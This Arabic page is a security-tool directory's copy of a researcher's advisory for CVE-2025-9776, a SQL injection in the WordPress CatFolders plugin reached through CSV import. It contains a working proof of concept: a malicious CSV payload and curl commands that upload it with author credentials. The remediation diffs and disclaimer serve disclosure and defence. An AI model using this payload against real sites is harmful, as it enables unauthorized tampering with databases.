Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-9776 — CVE-2025-9776 — إضافة ووردبريس CatFolders: حقن SQL بعد المصادقة عبر استيراد CSV | POC + شرح خطوة بخطوة | Kitploit
أدوات/GitHubGitHub/snailsploit/cve-2025-9776
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — إضافة ووردبريس CatFolders: حقن SQL بعد المصادقة عبر استيراد CSV | POC + شرح خطوة بخطوة

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-9776: حقن SQL بعد المصادقة في إضافة CatFolders لـ WordPress

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

الكلمات المفتاحية: CVE-2025-9776, ثغرة CatFolders في WordPress, حقن SQL في WordPress, حقن SQL بعد المصادقة, أمان WordPress, ثغرة استيراد CSV, استغلال إضافات WordPress, CWE-89, هجوم قاعدة بيانات WordPress, ثغرة مكتبة الوسائط, WordPress CVE 2025

جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • التحليل الفني
  • إثبات المفهوم
  • دليل المعالجة
  • مقاييس CVSS
  • المراجع
  • جهة الاتصال الأمنية

نظرة عامة

تم اكتشاف ثغرة حقن SQL بعد المصادقة في إضافة CatFolders لـ WordPress تسمح للمستخدمين بمستوى مؤلف (Author) بالتلاعب باستعلامات قاعدة البيانات عبر عمليات استيراد CSV خبيثة.

اكتشفها: Kai Aizen (SnailSploit)
تاريخ النشر: 2025
درجة CVSS: 6.5 (متوسطة)
CWE: CWE-89 - حقن SQL

تفاصيل الثغرة

الوصف

تحتوي إضافة CatFolders – Tame Your WordPress Media Library by Category على ثغرة حقن SQL بعد المصادقة في وظيفة استيراد CSV. يتم تقسيم عمود attachments من ملف CSV يوفره المستخدم إلى قائمة وتمريره مباشرة إلى FolderModel::set_attachments() التي تقوم بتسلسل هذه القيم في جمل SQL خام IN (...) دون تعقيم مناسب أو استخدام معاملات (parameterization).

التأثير

تسمح هذه الثغرة للمهاجمين المُصادَق عليهم بصلاحيات مستوى مؤلف (Author) بـ:

  • تنفيذ استعلامات SQL عشوائية
  • حذف جماعي أو التلاعب بتعيينات المجلد-المرفقات
  • احتمال كشف البيانات اعتمادًا على الحمولة وهيكل قاعدة البيانات
  • المساس بسلامة قاعدة البيانات وتوفرها

الإصدارات المتأثرة

  • الإصدارات المتأثرة: جميع الإصدارات ≤ 2.5.2
  • الإصدار المُعالَج: الإصدار 2.5.3 وما فوق (تحقق مع المورد)

مقاييس CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

التفاصيل الفنية

مسار الكود الضعيف

توجد الثغرة في سير عمل استيراد CSV:

الملف: includes/Rest/Controllers/ImportController.php

  1. تقوم طريقة import_csv بتحليل ملف CSV المُرفع دون تعقيم لكل حقل
  2. تستدعي restore_folders():
root@kitploit:~
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

الملف: includes/Models/FolderModel.php

  1. تبني set_attachments() استعلام SQL خام باستخدام تسلسل النصوص:
root@kitploit:~
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. لا يتم تحويل كل عنصر إلى عدد صحيح (integer) ولا إدخاله كمعامل (parameterized)، مما يسمح بحقن SQL

ناقل الهجوم

يمكن للمهاجم بصلاحيات مستوى مؤلف (قدرة upload_files) حقن SQL خبيث عبر نقطة نهاية استيراد CSV:

حمولة CSV الخبيثة:

root@kitploit:~
id,name,attachments
1,Test Folder,"1) OR 1=1--"

الاستعلام الضعيف الناتج:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

يؤدي هذا إلى الخروج من جملة IN(...) وتغيير دلالات الاستعلام، مما قد يؤثر على جميع الصفوف.

المتطلبات الأساسية

  • حساب بمستوى مؤلف (أو أعلى) على موقع WordPress المستهدف
  • إضافة CatFolders مثبتة ومفعّلة
  • الوصول إلى نقطة نهاية استيراد REST API

إثبات المفهوم

الخطوة 1: اكتشاف مساحة أسماء REST

root@kitploit:~
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

النتيجة النموذجية: /catf/v1/import-csv

الخطوة 2: تجهيز ملف CSV الخبيث

أنشئ ملفًا باسم catf_inject.csv:

root@kitploit:~
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

الخطوة 3: تنفيذ الهجوم

root@kitploit:~
NS="/catf/v1"  # Replace with discovered namespace

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

الاستجابة المتوقعة:

root@kitploit:~
{ "success": true }

توضيح التأثير

يقوم الخادم ببناء وتنفيذ:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

قد ينفذ هذا عمليات DELETE/INSERT أوسع نطاقًا مما هو مقصود، وغالبًا ما يمسح علاقات المجلد-المرفقات عبر قاعدة البيانات بأكملها.

بيئة الاختبار الآمنة

شغّل محاكاة SQLite المستقلة لملاحظة الثغرة بأمان:

root@kitploit:~
python3 poc/catfolders_sql_poc.py

يطبع هذا الاستعلام الضعيف ويوضح كيف يُرجع رمز خبيث جميع الصفوف، بينما ترفض النسخة المُعلَّمة (parameterized) ذلك بشكل صحيح.

المعالجة

لمسؤولي المواقع

إجراءات عاجلة مطلوبة:

  1. حدّث CatFolders إلى الإصدار 2.5.3 أو أحدث
  2. راجع حسابات المستخدمين بصلاحيات مستوى مؤلف أو أعلى
  3. دقق سجلات قاعدة البيانات بحثًا عن استعلامات مشبوهة بين التواريخ المتأثرة
  4. تحقق من تعيينات المجلد-المرفقات بحثًا عن تعديلات غير متوقعة

للمطورين

خطوتان بسيطتان للتحصين:

1. تعقيم المعرّفات قبل استدعاء النموذج

root@kitploit:~
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. فرض الأعداد الصحيحة داخل set_attachments()

root@kitploit:~
  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

توصية أقوى

استبدل جميع عمليات تسلسل SQL الخام باستعلامات مُعلَّمة باستخدام $wpdb->prepare() في WordPress:

root@kitploit:~
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

بالإضافة إلى ذلك:

  • تحقق بدقة من جميع حقول CSV قبل المعالجة
  • نفّذ التحقق من نوع الإدخال في طبقة API
  • أضف تحديد معدل (rate limiting) لنقطة نهاية الاستيراد
  • سجّل جميع عمليات الاستيراد لمسارات التدقيق

ملف التصحيح

يتوفر تصحيح كامل في patch/catfolders_fix.patch

هيكل المستودع

root@kitploit:~
CVE-2025-9776/
├── README.md                    # This file
├── poc/
│   ├── catf_inject.csv         # Malicious CSV payload
│   └── catfolders_sql_poc.py   # Safe SQLite simulation
└── patch/
    └── catfolders_fix.patch    # Recommended fixes

الجدول الزمني

  • تاريخ الاكتشاف: 2025
  • إخطار المورد: إفصاح منسق عبر Wordfence
  • الإفصاح العام: 2025
  • التصحيح المتاح: الإصدار 2.5.3

المراجع

  • إدخال MITRE لـ CVE
  • استشارة Wordfence Intelligence
  • دليل إضافات WordPress
  • أبحاث SnailSploit

الاعتمادات

الباحث: Kai Aizen (SnailSploit)

عملية الإفصاح: منسقة عبر برنامج Wordfence لمكافآت اكتشاف الثغرات

الاعتبارات الأخلاقية

⚠️ إخلاء مسؤولية مهم

تم توفير إثبات المفهوم هذا حصريًا لأغراض البحث الدفاعي والتعليمي.

إرشادات الاستخدام

  • ✅ افعل: اختبر على أنظمتك الخاصة أو بتفويض كتابي صريح
  • ✅ افعل: استخدمه للتدريب والتوعية الأمنية
  • ✅ افعل: نفّذ الإصلاحات في الكود الخاص بك
  • ❌ لا تفعل: لا تختبر الأنظمة دون إذن
  • ❌ لا تفعل: لا تستخدمه لأغراض خبيثة
  • ❌ لا تفعل: لا تستغله في بيئات الإنتاج

إشعار قانوني

الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قوانين تشمل:

  • قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) - الولايات المتحدة
  • قانون إساءة استخدام الكمبيوتر - المملكة المتحدة
  • تشريعات مماثلة في ولايات قضائية أخرى

استخدم على مسؤوليتك الخاصة. لا يتحمل الباحثون وSnailSploit أي مسؤولية عن إساءة استخدام هذه المعلومات.

الاتصال

للاستفسارات أو معلومات إضافية حول هذه الثغرة:

  • البريد الإلكتروني: [email protected]
  • LinkedIn: linkedin.com/in/kaiaizen
  • الموقع الإلكتروني: snailsploit.com
  • المنظمة: SnailSploit Security Research

ابقَ آمنًا وحافظ على تحديث تثبيتات WordPress لديك!

آخر تحديث: 13 أكتوبر 2025


📚 التوثيق والمؤلف

يمكن العثور على الشرح الكامل لهذا المشروع والمنهجية والأبحاث ذات الصلة على:

https://snailsploit.com/security-research/cves/cve-2025-9776/

أنشأه Kai Aizen — باحث مستقل في الأمن الهجومي.

snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

نفس الهجوم. ركيزة مختلفة.

تنزيل الأداة
المقياسالقيمة
ناقل الهجومشبكة (AV:N)
تعقيد الهجوممنخفض (AC:L)
الصلاحيات المطلوبةمنخفضة (PR:L) - مؤلف+
تفاعل المستخدملا شيء (UI:N)
النطاقغير متغير (S:U)
السريةلا شيء (C:N)
السلامةمنخفضة (I:L)
التوفرمنخفض (A:L)